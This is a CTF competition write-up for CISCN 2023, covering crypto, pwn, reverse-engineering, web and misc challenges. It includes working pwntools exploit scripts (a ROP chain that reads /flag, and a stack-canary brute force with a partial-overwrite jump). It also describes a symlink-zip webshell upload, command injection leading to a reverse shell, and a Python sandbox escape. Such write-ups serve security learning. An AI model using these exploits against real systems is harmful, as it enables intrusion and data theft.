2023 CISCN WriteUp by HED
HED是南方科技大学COMPASS实验室的CTF战队
Crypto
day1 基于国密SM2算法的密钥密文分发
虽然可以一步一步调库进行计算,但是由于服务器对 /api/search
的管理不是十分到位,于是我们就可以通过访问 /api/allkey
, /api/quantum
接口,让服务器生成对应的密钥,然后再访问 /api/search
就可以获得服务器密钥明文,然后 /api/check
一下即可。
1 | const BASE_URL = 'http://IP:PORT' |
day1 Sign_in_passwd
base64换表给表
day2 badkey1
翻阅 PyCryptodome 源码,发现唯一可以利用的点是:
1 | if Integer(n).gcd(d) != 1: |
需要构造 d 是 p 的倍数。
随机生成 p,求出对应的逆元 m。
计算得到 g,它的长度大于 512bits。对 g 进行因式分解,找到 g 的小因子,枚举所有可能的因子组合得到可能的 q,检查 q 的长度为 512bits 而且是质数。最后进行 RSA.construct()
来验证解。
1 | from Crypto.Util.number import * |
day2 bb84
阅读材料的大意是:
1 | EPC1 4 2 1 2 |
APD1 到 4 中有且只有一个为 1,并且和 EPC1 相等,则这位可以采用为密钥。
或者 APD1 到 4 中有且只有一个为 1,和 EPC1 不相等,但是在同一个基(如APD1=1,EPC1=2),那么这位需要纠错,纠错之后可以采用。
将整个序列筛选之后得到可用的序列,然后根据线性同余生成真正的密钥。
另外材料中提到了用熵计算安全密钥量,然后把它作为模数。这是一个误导,我在这里卡了很久。因为采用的随机数序列的长度显著多于计算出的安全密钥量,不知道如何选出相应的安全密钥。实际上题目的做法是直接把随机数序列的长度当作安全密钥量,不需要计算熵。
之后就是经典的生成流密码,逐个异或。
1 | import csv |
PWN
day1 烧烤摊儿
静态编译栈溢出 没system没exec 标准ORW1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20from pwn import *
p = remote("123.56.99.60", 26637)
e = ELF('shaokao')
p.sendlineafter(b'>', b'1\n1\n-9999')
p.sendlineafter(b'>', b'4')
p.sendlineafter(b'>', b'5')
context.arch = 'amd64'
r = ROP(e)
flag_str = b'/flag\x00'
r.call(e.symbols['read'], [0, e.bss() + 100, len(flag_str)])
r.call(e.symbols['open'], [e.bss() + 100, 0, 0])
r.call(e.symbols['read'], [3, e.bss() + 100, 100])
r.call(e.symbols['write'], [1, e.bss() + 100, 0x101])
r.call(e.symbols['write'], [1, e.bss() + 100, len(flag_str)*9])
p.sendline(b'a' * (0x20 + 8) + r.chain())
p.sendline(flag_str)
#gdb.attach(p)
p.interactive()
day2 funcanary
抢一血没写循环直接展开了
fork爆破canry 板子
然后有ASLR 有win 短跳爆破4bit即可1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36import struct
from pwn import *
cn = remote("39.106.48.123", 27305)
cn.recvuntil(b'welcome\n')
canary = b'\x00'
for j in range(7):
for i in range(0x100):
cn.send(b'a' * 104 + canary + struct.pack('B', i))
a = cn.recvuntil(b'welcome\n')
if b'have fu' in a:
canary += struct.pack('B', i)
print(canary)
break
x = 8
cn.send(b'a' * 104 + canary + b'a' * x + b'\x31\x02')
cn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\x31\x12')
cn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\x31\x22')
cn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\x31\x32')
cn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\x31\x42')
cn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\x31\x52')
cn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\x31\x62')
cn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\x31\x72')
cn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\x31\x82')
cn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\x31\x92')
cn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\x31\xa2')
cn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\x31\xb2')
cn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\x31\xc2')
cn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\x31\xd2')
cn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\x31\xe2')
cn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\x31\xf2')
cn.recvuntil(b'welcome')
RE
day1 moveAside
一年前做过的题,当时我写的的超级详细题解:
https://github.com/GhostFrankWu/CS315-ComputerSecurity/blob/main/week5/wp.md
第一天结束后发现GitHub统计访客50多
核心就是去混淆之后找到用作jmp的mov指令,还有就是要知道mov混淆似乎一定有逐字节比较的地方,断在这里爆破就行了1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37from pwn import *
# flag{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx3861}
flag = list('flag{781dda4e-d910-*********************}')
stri = "0123456789abcdef-ghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_{}"
sp = b"LEGEND: "
context.log_level = 'critical'
for i in range(19, 43):
for j in range(len(stri)):
p = process(["gdb", "fuck"])
p.sendline(b"b *0x8052A92")
p.sendline(b"r")
tr = [x for x in flag]
tr[i] = stri[j]
p.sendline(''.join(tr).encode())
_ = p.recvuntil(sp)
print(f'No.{i + 1}, trying {stri[j]}, now flag is {"".join(flag)}')
for c in range(i-1):
p.sendline(b'c')
_ = p.recvuntil(sp)
p.sendline(b'c')
r = p.recvall(0.3)
if sp in r:
print("hit!!!!")
flag[i] = stri[j]
print(''.join(flag))
p.close()
break
else:
p.close()
print(''.join(flag))
炫酷的界面(雾
day2 babyRE
撞车队友:
网上随便看了点Snap!的资料,定位到flag判断逻辑,根据secret
简单做一波异或运算还原输入key
即flag
1 | secret = [102, 10, 13, 6, 28, 74, 3, 1, 3, 7, 85, 0, 4, 75, 20, 92, 92, 8, 28, 25, 81, 83, 7, 28, 76, 88, 9, 0, 29, 73, 0, 86, 4, 87, 87, 82, 84, 85, 4, 85, 87, 30] |
1 | d = [(92, 1), (92, -1), (8, -1), (28, -1), (20, 1), (25, -1), (75, 1), (81, -1), (83, -1), (0, 1), (7, -1), (28, -1), |
web
day1 unzip
代码长得和上周春秋杯的题完全一致
题目没给Dockerfile,大概不是历史漏洞,03年之后的zip就不能目录穿越了
创建一个指向文件夹的软链 ln -s /var/www/html www && zip -y x.zip www
然后压缩一个带一句话的www文件夹解压就可以了
day2 dumpit
dump和注入分开 query屏蔽的并不多,但提示要做到rce
dump几乎都是用命令行工具做,果然在dump的地方可以命令拼接
然后发现没权限读flag 弹shell
跑linpeas提权时候在环境变量里出了
MISC
day1 签到
python任意代码 签到
day1 被加密的生产流量
发现 query 中的 word count 不符合定义。之前请求了非常大的数字,后期全部请求 5。
追踪 TCP 流发现,word count 刚好形成了 ascii 字符。将其提取并解码。MMYWMX3GNEYWOXZRGAYDA===
base32 解码得到 c1f_fi1g_1000
。
day2 pyshell
虽然服务器禁止了赋值操作,并且每行的长度也有限制
对于第一个限制,可以用 REPL 中的 _ 来获取上一条语句的值
对于第二个限制,可以分多行输入(此时每输入一行都需要重新 nc 连接)
所以最终 payload 为1
2
3
4
5'/flag'
open(_)
[I for
I in
_]
day2 问卷
问卷
2023 CISCN WriteUp by HED